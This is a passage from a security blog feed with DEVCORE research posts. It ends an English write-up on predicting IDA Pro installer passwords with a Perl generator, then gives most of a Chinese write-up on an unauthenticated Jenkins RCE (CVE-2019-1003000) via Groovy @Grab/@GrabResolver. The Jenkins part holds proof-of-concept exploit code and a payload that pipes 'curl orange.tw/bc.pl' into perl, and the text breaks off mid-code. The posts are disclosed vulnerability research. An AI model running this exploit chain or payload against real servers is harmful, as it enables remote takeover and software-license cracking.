<span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufb</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufc</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufd</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">bufe</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">buff</span><span class="p">);</span> <span class="n">i</span><span class="o">=</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>After a month, we finally generated the IDA Pro installation passwords successfully with Perl, and the correct charset ordering is <code class="language-plaintext highlighter-rouge">abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789</code>. For example, we can generate the hacking team’s leaked password <code class="language-plaintext highlighter-rouge">FgVQyXZY2XFk</code> with the following script:</p> <div class="language-perl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env perl</span> <span class="c1">#</span> <span class="nv">@_e</span> <span class="o">=</span> <span class="nb">split</span> <span class="sr">//</span><span class="p">,"</span><span class="s2">abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789</span><span class="p">";</span> <span class="nv">$i</span><span class="o">=</span><span class="mi">3326487116</span><span class="p">;</span> <span class="nb">srand</span><span class="p">(</span><span class="nv">$i</span><span class="p">);</span> <span class="nv">$pw</span><span class="o">=</span><span class="p">"";</span> <span class="k">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$i</span><span class="o">&lt;</span><span class="mi">12</span><span class="p">;</span><span class="o">++</span><span class="nv">$i</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$key</span> <span class="o">=</span> <span class="nb">rand</span> <span class="mi">54</span><span class="p">;</span> <span class="nv">$pw</span> <span class="o">=</span> <span class="nv">$pw</span> <span class="o">.</span> <span class="nv">$_e</span><span class="p">[</span><span class="nv">$key</span><span class="p">];</span> <span class="p">}</span> <span class="k">print</span> <span class="p">"</span><span class="si">$i</span><span class="s2"> </span><span class="si">$pw</span><span class="se">\n</span><span class="p">";</span> </code></pre></div></div> <p>With this, we can build a dictionary of installation password, which effectively increase the efficiency of brute force attack. Generally, we can compute the password of one installer in 10 minutes.</p> <p>We have reported this issue to Hex-Rays, and they promised to harden the installation password immediately.</p> <h2 id="summary">Summary</h2> <p>In this article, we discussed the possibility of installing IDA Pro without owning installation password. In the end, we found plaintext password in the program memory of Linux and MacOS version. On the other hand, we determined the password generation methodology of Windows version. Therefore, we can build a dictionary to accelerate brute force attack. Finally, we can get one password at a reasonable time.</p> <p>We really enjoy this process: surmise wisely and prove it with our best. It can broaden our experience no matter the result is correct or not. This is why we took a whole month to verify such a difficult surmise. We also take this attitude in our <a href="https://devco.re/en/services/red-team/">Red Team Assessment</a>. You would love to give it a try!</p> <p>Lastly, we would like to thank for the friendly and rapid response from Hex-Rays. Although this issue is not included in <a href="https://www.hex-rays.com/bugbounty.shtml">Security Bug Bounty Program</a>, they still generously awarded us IDA Pro Linux and MAC version, and upgraded the Windows version for us. We really appreciate it.</p> <h2 id="timeline">Timeline</h2> <ul> <li>Jan 31, 2019 - Report to Hex-Rays</li> <li>Feb 01, 2019 - Hex-Rays promised to harden the installation password and reported to BitRock</li> <li>Feb 11, 2019 - BitRock released InstallBuilder 19.2.0</li> </ul> https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en/ https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way-en Fri, 21 Jun 2019 00:00:00 +0800 Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! <p><a href="/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE-en/">English Version</a> <a href="/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/">中文版本</a></p> <p>嗨! 大家今天過得好嗎?</p> <p>這篇文章是 Hacking Jenkins 系列的下集! 給那些還沒看過上篇文章的同學,可以訪問下面鏈結,補充一些基本知識及了解之前如何從 Jenkins 中的動態路由機制到串出各種不同的攻擊鏈!</p> <ul> <li><a href="https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/">Hacking Jenkins Part 1 - Play with Dynamic Routing </a></li> </ul> <p>如上篇文章所說,為了最大程度發揮漏洞的效果,想尋找一個代碼執行的漏洞可以與 ACL 繞過漏洞搭配,成為一個不用認證的遠端代碼執行! 不過在最初的嘗試中失敗了,由於動態路由機制的特性,Jenkins 在遇到一些危險操作時(如 <a href="http://jenkins.local/script">Script Console</a>)都會再次的檢查權限! 導致就算可以繞過最前面的 ACL 層依然無法做太多事情!</p> <p>直到 Jenkins 在 2018-12-05 發佈的 <a href="https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595">Security Advisory</a> 修復了前述我所回報的動態路由漏洞! 為了開始撰寫這份技術文章(Hacking Jenkins 系列文),我重新複習了一次當初進行代碼審查的筆記,當中對其中一個跳板(gadget)想到了一個不一樣的利用方式,因而有了這篇故事! 這也是近期我所寫過覺得比較有趣的漏洞之一,非常推薦可以仔細閱讀一下!</p> <p><br /></p> <h2 id="漏洞分析">漏洞分析</h2> <hr /> <p>要解釋這次的漏洞 <a href="https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266">CVE-2019-1003000</a> 必須要從 Pipeline 開始講起! 大部分開發者會選擇 Jenkins 作為 CI/CD 伺服器的其中一個原因是因為 Jenkins 提供了一個很強大的 Pipeline 功能,使開發者可以方便的去撰寫一些 Build Script 以完成自動化的編譯、測試及發佈! 你可以想像 Pipeline 就是一個小小的微語言可以去對 Jenkins 進行操作(而實際上 Pipeline 是基於 Groovy 的一個 DSL)</p> <p>為了檢查使用者所撰寫的 Pipeline Script 有沒有語法上的錯誤(Syntax Error),Jenkins 提供了一個介面給使用者檢查自己的 Pipeline! 這裡你可以想像一下,如果你是程式設計師,你要如何去完成這個功能呢? 你可以自己實現一個語法樹(AST, Abstract Syntax Tree)解析器去完成這件事,不過這太累了,最簡單的方式當然是套用現成的東西!</p> <p>前面提到,Pipeline 是基於 Groovy 所實現的一個 DSL,所以 Pipeline 必定也遵守著 Groovy 的語法! 所以最簡單的方式是,只要 Groovy 可以成功解析(parse),那就代表這份 Pipeline 的語法一定是對的! Jenkins 實作檢查的程式碼約是下面這樣子:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="no">JSON</span> <span class="nf">doCheckScriptCompile</span><span class="o">(</span><span class="nd">@QueryParameter</span> <span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="nc">CpsGroovyShell</span> <span class="n">trusted</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CpsGroovyShellFactory</span><span class="o">(</span><span class="kc">null</span><span class="o">).</span><span class="na">forTrusted</span><span class="o">().</span><span class="na">build</span><span class="o">();</span> <span class="k">new</span> <span class="nf">CpsGroovyShellFactory</span><span class="o">(</span><span class="kc">null</span><span class="o">).</span><span class="na">withParent</span><span class="o">(</span><span class="n">trusted</span><span class="o">).</span><span class="na">build</span><span class="o">().</span><span class="na">getClassLoader</span><span class="o">().</span><span class="na">parseClass</span><span class="o">(</span><span class="n">value</span><span class="o">);</span> <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">CompilationFailedException</span> <span class="n">x</span><span class="o">)</span> <span class="o">{</span> <span class="k">return</span> <span class="nc">JSONArray</span><span class="o">.</span><span class="na">fromObject</span><span class="o">(</span><span class="nc">CpsFlowDefinitionValidator</span><span class="o">.</span><span class="na">toCheckStatus</span><span class="o">(</span><span class="n">x</span><span class="o">).</span><span class="na">toArray</span><span class="o">());</span> <span class="o">}</span> <span class="k">return</span> <span class="nc">CpsFlowDefinitionValidator</span><span class="o">.</span><span class="na">CheckStatus</span><span class="o">.</span><span class="na">SUCCESS</span><span class="o">.</span><span class="na">asJSON</span><span class="o">();</span> <span class="c1">// Approval requirements are managed by regular stapler form validation (via doCheckScript)</span> <span class="o">}</span> </code></pre></div></div> <p>這裡使用了 <a href="http://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyClassLoader.html#parseClass-java.lang.String-">GroovyClassLoader.parseClass(…)</a> 去完成 Groovy 語法的解析! 值得注意的是,由於這只是一個 AST 的解析,在沒有執行 <code class="language-plaintext highlighter-rouge">execute()</code> 的方法前,任何危險的操作是不會被執行的,例如嘗試去解析這段 Groovy 代碼會發現其實什麼事都沒發生 :(</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">classLoader</span><span class="o">.</span><span class="na">parseClass</span><span class="o">(</span><span class="s1">''' print java.lang.Runtime.getRuntime().exec("id") '''</span><span class="o">);</span> </code></pre></div></div> <p>從程式開發者的角度來看,Pipeline 可以操作 Jenkins 那一定很危險,因此要用嚴格的權限保護住! 但這只是一段簡單的語法錯誤檢查,而且呼叫到的地方很多,限制太嚴格的權限只會讓自己綁手綁腳的!</p> <p>上面的觀點聽起來很合理,就只是一個 AST 的解析而且沒有任何 <code class="language-plaintext highlighter-rouge">execute()</code> 方法應該很安全,但恰巧這裡就成為了我們第一個入口點! 其實第一次看到這段代碼時,也想不出什麼利用方法就先跳過了,直到要開始撰寫技術文章重新溫習了一次,我想起了說不定 Meta-Programming 會有搞頭!</p> <p><br /></p> <h2 id="什麼是-meta-programming">什麼是 Meta-Programming</h2> <hr /> <p>首先我們來解釋一下什麼是 Meta-Programming!</p> <p>Meta-Programming 是一種程式設計的思維! Meta-Programming 的精髓在於提供了一個抽象層次給開發者用另外一種思維去撰寫更高靈活度及更高開發效率的代碼。其實 Meta-Programming 並沒有一個很嚴謹的定義,例如使用程式語言編譯所留下的 Metadata 去動態的產生程式碼,或是把程式自身當成資料,透過編譯器(compiler)或是直譯器(interpreter)去撰寫代碼都可以被說是一種 Meta-Programming! 而其中的哲學其實非常廣泛甚至已經可以被當成程式語言的一個章節來獨立探討!</p> <p>大部分的文章或是書籍在解釋 Meta-Programming 的時候通常會這樣解釋:</p> <blockquote> <p>用程式碼(code)產生程式碼(code)</p> </blockquote> <p>如果還是很難理解,你可以想像程式語言中的 <code class="language-plaintext highlighter-rouge">eval(...)</code> 其實就是一種廣義上的 Meta-Programming! 雖然不甚精確,但用這個比喻可以快速的理解 Meta-Programming! 其實就是用程式碼(eval 這個函數)去產生程式碼(eval 出來的函數)! 在程式開發上,Meta-Programming 也有著極其多的應用,例如:</p> <ul> <li>C 語言中的 Macro</li> <li>C++ 的 Template</li> <li>Ruby (Ruby 本身就是一門將 Meta-Programming 發揮到極致的語言,甚至還有專門的<a href="http://shop.oreilly.com/product/9781934356470.do">書1</a>, <a href="http://shop.oreilly.com/product/9781941222126.do">書2</a>)</li> <li>Java 的 Annotation 註解</li> <li>各種 DSL(Domain Specific Language) 應用,例如 <a href="http://sinatrarb.com/">Sinatra</a> 及 <a href="https://gradle.org/">Gradle</a></li> </ul> <p>而當我們在談論 Meta-Programming 時,依照作用的範圍我們大致分成 <strong>(1)編譯時期</strong> 及 <strong>(2)執行時期</strong>這兩種 Meta-Programming! 而我們今天的重點,就是在編譯時期的 Meta-Programming!</p> <p><em>P.S. 我也不是一位 Programming Language 大師,如有不精確或者覺得教壞小朋友的地方再請多多包涵 &lt;(_ _)&gt;</em></p> <p><br /></p> <h2 id="如何利用">如何利用</h2> <hr /> <p>從前面的段落中我們發現 Jenkins 使用 <a href="http://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyClassLoader.html#parseClass-java.lang.String-">parseClass(…)</a> 去檢查語法錯誤,我們也想起了 Meta-Programming 可在編譯時期對程式碼做一些動態的操作! 設計一個編譯器(或解析器)是一件很麻煩的事情,裡面會有各種骯髒的實作或是奇怪的功能,所以一個很直覺的想法就是,是否可以透過編譯器一些副作用(Side Effect)去完成一些事情呢?</p> <p>舉幾個淺顯易懂的例子,如 C 語言巨集擴展所造成的資源耗盡</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e </span><span class="n">__int128</span> <span class="n">x</span><span class="p">[]</span><span class="o">=</span><span class="p">{</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">,</span><span class="n">f</span><span class="p">};</span> </code></pre></div></div> <p>編譯器的資源耗盡(用 18 bytes 產生 16G 的執行檔)</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">main</span><span class="p">[</span><span class="o">-</span><span class="mi">1u</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">1</span><span class="p">};</span> </code></pre></div></div> <p>或是用編譯器來幫你算費式數列</p> <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">template</span><span class="o">&lt;</span><span class="kt">int</span> <span class="n">n</span><span class="p">&gt;</span> <span class="k">struct</span> <span class="nc">fib</span> <span class="p">{</span> <span class="k">static</span> <span class="k">const</span> <span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="o">&gt;::</span><span class="n">value</span> <span class="o">+</span> <span class="n">fib</span><span class="o">&lt;</span><span class="n">n</span><span class="o">-</span><span class="mi">2</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="p">};</span> <span class="k">template</span><span class="o">&lt;</span><span class="p">&gt;</span> <span class="k">struct</span> <span class="nc">fib</span><span class="o">&lt;</span><span class="mi">0</span><span class="o">&gt;</span> <span class="p">{</span> <span class="k">static</span> <span class="k">const</span> <span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">};</span> <span class="k">template</span><span class="o">&lt;</span><span class="p">&gt;</span> <span class="k">struct</span> <span class="nc">fib</span><span class="o">&lt;</span><span class="mi">1</span><span class="o">&gt;</span> <span class="p">{</span> <span class="k">static</span> <span class="k">const</span> <span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">};</span> <span class="kt">int</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="mi">10</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="c1">// 55</span> <span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="mi">20</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="c1">// 6765</span> <span class="kt">int</span> <span class="n">c</span> <span class="o">=</span> <span class="n">fib</span><span class="o">&lt;</span><span class="mi">40</span><span class="o">&gt;::</span><span class="n">value</span><span class="p">;</span> <span class="c1">// 102334155</span> <span class="p">}</span> </code></pre></div></div> <p>從組合語言的結果可以看出這些值在編譯期間就被計算好填充進去,而不是執行期間!</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>g++ template.cpp <span class="nt">-o</span> template <span class="nv">$ </span>objdump <span class="nt">-M</span> intel <span class="nt">-d</span> template ... 00000000000005fa &lt;main&gt;: 5fa: 55 push rbp 5fb: 48 89 e5 mov rbp,rsp 5fe: c7 45 f4 37 00 00 00 mov DWORD PTR <span class="o">[</span>rbp-0xc],0x37 605: c7 45 f8 6d 1a 00 00 mov DWORD PTR <span class="o">[</span>rbp-0x8],0x1a6d 60c: c7 45 <span class="nb">fc </span>cb 7e 19 06 mov DWORD PTR <span class="o">[</span>rbp-0x4],0x6197ecb 613: b8 00 00 00 00 mov eax,0x0 618: 5d pop rbp 619: c3 ret 61a: 66 0f 1f 44 00 00 nop WORD PTR <span class="o">[</span>rax+rax<span class="k">*</span>1+0x0] ... </code></pre></div></div> <p>更多的例子你可以參考 StackOverflow 上的 <a href="https://codegolf.stackexchange.com/questions/69189/build-a-compiler-bomb">Build a Compiler Bomb</a> 這篇文章!</p> <p><br /></p> <h3 id="首次嘗試">首次嘗試</h3> <hr /> <p>回到我們的漏洞利用上,Pipeline 是基於 Groovy 上的一個 DSL 實作,而 Groovy 剛好就是一門對於 Meta-Programming 非常友善的語言! 翻閱著 Grovvy 官方的 <a href="http://groovy-lang.org/metaprogramming.html">Meta-Programming 手冊</a> 開始尋找各種可以利用的方法! 在 2.1.9 章「測試協助」這個段落發現了 <code class="language-plaintext highlighter-rouge">@groovy.transform.ASTTest</code> 這個註解,仔細觀察它的敘述:</p> <blockquote> <p><code class="language-plaintext highlighter-rouge">@ASTTest</code> is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and <strong>perform assertions on the AST</strong> rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. <code class="language-plaintext highlighter-rouge">@ASTTest</code> can be placed on any annotable node and requires two parameters:</p> </blockquote> <p>什麼! 可以在 AST 上執行一個 assertion? 這不就是我們要的嗎? 趕緊先在本地寫個 Proof-of-Concept 嘗試是否可行:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">classLoader</span><span class="o">.</span><span class="na">parseClass</span><span class="o">(</span><span class="s1">''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) def x '''</span><span class="o">);</span> </code></pre></div></div> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">ls </span>poc.groovy <span class="nv">$ </span>groovy poc.groovy <span class="nv">$ </span><span class="nb">ls </span>poc.groovy pwned </code></pre></div></div> <p>幹,可以欸! 但代誌並不是憨人想的那麼簡單! 嘗試在遠端 Jenkins 重現時,出現了:</p> <blockquote> <p>unable to resolve class org.jenkinsci.plugins.workflow.libs.Library</p> </blockquote> <p><img src="/assets/img/blog/20190219/1.png" alt="" /></p> <p>真是黑人問號,森77,這到底是三小啦!!!</p> <p>認真追了一下 root cause 才發現是 <a href="https://wiki.jenkins.io/display/JENKINS/Pipeline+Shared+Groovy+Libraries+Plugin">Pipeline Shared Groovy Libraries Plugin</a> 這個插件在作怪! 為了方便使用者可重複使用在編寫 Pipeline 常用到的功能,Jenkins 提供了這個插件可在 Pipeline 中引入自定義的函式庫! Jenkins 會在所有 Pipeline 執行前引入這個函式庫,而在編譯時期的 classPath 中並沒有相對應的函式庫因而導致了這個錯誤!</p> <p>想解決這個問題很簡單,到 <a href="http://jenkins.local/pluginManager/">Jenkins Plugin Manager</a> 中將 <a href="https://wiki.jenkins.io/display/JENKINS/Pipeline+Shared+Groovy+Libraries+Plugin">Pipeline Shared Groovy Libraries Plugin</a> 移除即可解決這個問題並執行任意代碼!</p> <p>不過這絕對不是最佳解! 這個插件會隨著 Pipeline 被自動安裝,為了要成功利用這個漏洞還得先要求管理員把它移除實在太蠢了! 因此這條路只能先打住,繼續尋找下一個方法!</p> <p><br /></p> <h3 id="再次嘗試">再次嘗試</h3> <hr /> <p>繼續閱讀 <a href="http://groovy-lang.org/metaprogramming.html">Groovy Meta-Programming 手冊</a>,我們發現了另一個有趣的註解 <code class="language-plaintext highlighter-rouge">@Grab</code>,關於 <code class="language-plaintext highlighter-rouge">@Grab</code> 手冊中並沒有詳細的描述,但使用 Google 我們發現了另一篇文章 - <a href="http://docs.groovy-lang.org/latest/html/documentation/grape.html">Dependency management with Grape</a>!</p> <p>原來 Grape(<code class="language-plaintext highlighter-rouge">@Grab</code>) 是一個 Groovy 內建的動態 JAR 相依性管理程式! 可讓開發者動態的引入不在 classPath 上的函式庫! Grape 的語法如下:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Grab</span><span class="o">(</span><span class="n">group</span><span class="o">=</span><span class="s1">'org.springframework'</span><span class="o">,</span> <span class="n">module</span><span class="o">=</span><span class="s1">'spring-orm'</span><span class="o">,</span> <span class="n">version</span><span class="o">=</span><span class="s1">'3.2.5.RELEASE'</span><span class="o">)</span> <span class="kn">import</span> <span class="nn">org.springframework.jdbc.core.JdbcTemplate</span> </code></pre></div></div> <p>配合 <code class="language-plaintext highlighter-rouge">@grab</code> 的註解,可讓 Groovy 在編譯時期自動引入不存在於 classPath 中的 JAR 檔! 但如果你的目的只是要在一個有執行 Pipeline 權限的帳號上繞過原有 Pipeline 的 Sandbox 的話,這其實就足夠了! 例如你可以參考 <a href="https://github.com/adamyordan">@adamyordan</a> 所提供的 <a href="https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc">PoC</a>,在已知使用者帳號與密碼及權限足夠的情況下,達到遠端代碼執行的效果!</p> <p>但在沒有帳號密碼及 <code class="language-plaintext highlighter-rouge">execute()</code> 的方法下,這只是一個簡單的語法樹解析器,你甚至無法控制遠端伺服器上的檔案,所以該怎麼辦呢? 我們繼續研究下去,並發現了一個很有趣的註解叫做 <code class="language-plaintext highlighter-rouge">@GrabResolver</code>,用法如下:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@GrabResolver</span><span class="o">(</span><span class="n">name</span><span class="o">=</span><span class="s1">'restlet'</span><span class="o">,</span> <span class="n">root</span><span class="o">=</span><span class="s1">'http://maven.restlet.org/'</span><span class="o">)</span> <span class="nd">@Grab</span><span class="o">(</span><span class="n">group</span><span class="o">=</span><span class="s1">'org.restlet'</span><span class="o">,</span> <span class="n">module</span><span class="o">=</span><span class="s1">'org.restlet'</span><span class="o">,</span> <span class="n">version</span><span class="o">=</span><span class="s1">'1.1.6'</span><span class="o">)</span> <span class="kn">import</span> <span class="nn">org.restlet</span> </code></pre></div></div> <p>看到這個,聰明的你應該會很想把 <code class="language-plaintext highlighter-rouge">root</code> 改成惡意網址對吧! 我們來試試會怎麼樣吧!</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">classLoader</span><span class="o">.</span><span class="na">parseClass</span><span class="o">(</span><span class="s1">''' @GrabResolver(name='restlet', root='http://orange.tw/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet '''</span><span class="o">)</span> </code></pre></div></div> <pre><code class="language-log">11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0" </code></pre> <p>喔幹,真的會來存取欸! 到這裡我們已經確信了透過 Grape 可以讓 Jenkins 引入惡意的函式庫! 但下一個問題是,要如何執行代碼呢?</p> <p><br /></p> <h2 id="如何執行任意代碼">如何執行任意代碼?</h2> <hr /> <p>在漏洞的利用中總是在研究如何從簡單的任意讀、任意寫到取得系統執行的權限! 從前面的例子中,我們已經可以透過 Grape 去寫入惡意的 JAR 檔到遠端伺服器,但要怎麼執行這個 JAR 檔呢? 這又是另一個問題!</p> <p>跟進 Groovy 語言核心查看對於 <a href="https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/Grape.java">Grape 的實作</a>,我們知道網路層的抓取是透過 <a href="https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy">groovy.grape.GrapeIvy</a> 這個類別來完成! 所以開始尋找實作中是否有任何可以執行代碼的機會! 其中,我們看到了一個有趣的方法 - <a href="https://github.com/groovy/groovy-core/blob/GROOVY_2_4_3/src/main/groovy/grape/GrapeIvy.groovy#L312">processOtherServices(…)</a>:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">processOtherServices</span><span class="o">(</span><span class="n">ClassLoader</span> <span class="n">loader</span><span class="o">,</span> <span class="n">File</span> <span class="n">f</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="n">ZipFile</span> <span class="n">zf</span> <span class="o">=</span> <span class="k">new</span> <span class="n">ZipFile</span><span class="o">(</span><span class="n">f</span><span class="o">)</span> <span class="n">ZipEntry</span> <span class="n">serializedCategoryMethods</span> <span class="o">=</span> <span class="n">zf</span><span class="o">.</span><span class="na">getEntry</span><span class="o">(</span><span class="s2">"META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods"</span><span class="o">)</span> <span class="k">if</span> <span class="o">(</span><span class="n">serializedCategoryMethods</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">processSerializedCategoryMethods</span><span class="o">(</span><span class="n">zf</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">(</span><span class="n">serializedCategoryMethods</span><span class="o">))</span> <span class="o">}</span> <span class="n">ZipEntry</span> <span class="n">pluginRunners</span> <span class="o">=</span> <span class="n">zf</span><span class="o">.</span><span class="na">getEntry</span><span class="o">(</span><span class="s2">"META-INF/services/org.codehaus.groovy.plugins.Runners"</span><span class="o">)</span> <span class="k">if</span> <span class="o">(</span><span class="n">pluginRunners</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">processRunners</span><span class="o">(</span><span class="n">zf</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">(</span><span class="n">pluginRunners</span><span class="o">),</span> <span class="n">f</span><span class="o">.</span><span class="na">getName</span><span class="o">(),</span> <span class="n">loader</span><span class="o">)</span> <span class="o">}</span> <span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="n">ZipException</span> <span class="n">ignore</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// ignore files we can't process, e.g. non-jar/zip artifacts</span> <span class="c1">// TODO log a warning</span> <span class="o">}</span> <span class="o">}</span> </code></pre></div></div> <p>由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 <code class="language-plaintext highlighter-rouge">Runner</code> 的入口點檢查引起了我們的興趣,持續跟進 <a href="https://github.com/groovy/groovy-core/blob/GROOVY_2_4_3/src/main/groovy/grape/GrapeIvy.groovy#L335">processRunners(…)</a> 的實作我們發現:</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">processRunners</span><span class="o">(</span><span class="n">InputStream</span> <span class="n">is</span><span class="o">,</span> <span class="n">String</span> <span class="n">name</span><span class="o">,</span> <span class="n">ClassLoader</span> <span class="n">loader</span><span class="o">)</span> <span class="o">{</span> <span class="n">is</span><span class="o">.</span><span class="na">text</span><span class="o">.</span><span class="na">readLines</span><span class="o">().</span><span class="na">each</span> <span class="o">{</span> <span class="n">GroovySystem</span><span class="o">.</span><span class="na">RUNNER_REGISTRY</span><span class="o">[</span><span class="n">name</span><span class="o">]</span> <span class="o">=</span> <span class="n">loader</span><span class="o">.</span><span class="na">loadClass</span><span class="o">(</span><span class="n">it</span><span class="o">.</span><span class="na">trim</span><span class="o">()).</span><span class="na">newInstance</span><span class="o">()</span> <span class="o">}</span> <span class="o">}</span> </code></pre></div></div> <p>這裡的 <code class="language-plaintext highlighter-rouge">newInstance()</code> 不就代表著可以呼叫到任意類別的 <code class="language-plaintext highlighter-rouge">Constructor</code> 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔,把要執行的類別全名放至 <code class="language-plaintext highlighter-rouge">META-INF/services/org.codehaus.groovy.plugins.Runners</code> 中即可呼叫指定類別的<code class="language-plaintext highlighter-rouge">Constructor</code> 去執行任意代碼! 完整的漏洞利用過程如下:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">Orange</span> <span class="o">{</span> <span class="kd">public</span> <span class="nf">Orange</span><span class="o">(){</span> <span class="k">try</span> <span class="o">{</span> <span class="nc">String</span> <span class="n">payload</span> <span class="o">=</span> <span class="s">"curl orange.tw/bc.pl | perl -"</span><span class="o">;</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">cmds</span> <span class="o">=</span> <span class="o">{</span><span class="s">"/bin/bash"</span><span class="o">,</span> <span class="s">"-c"</span><span class="o">,</span> <span class="n">payload</span><span class="o">};</span> <span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">().</span><span class="na">exec</span><span class="o">(</span><span class="n">cmds</span><span class="o">);</span> <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span 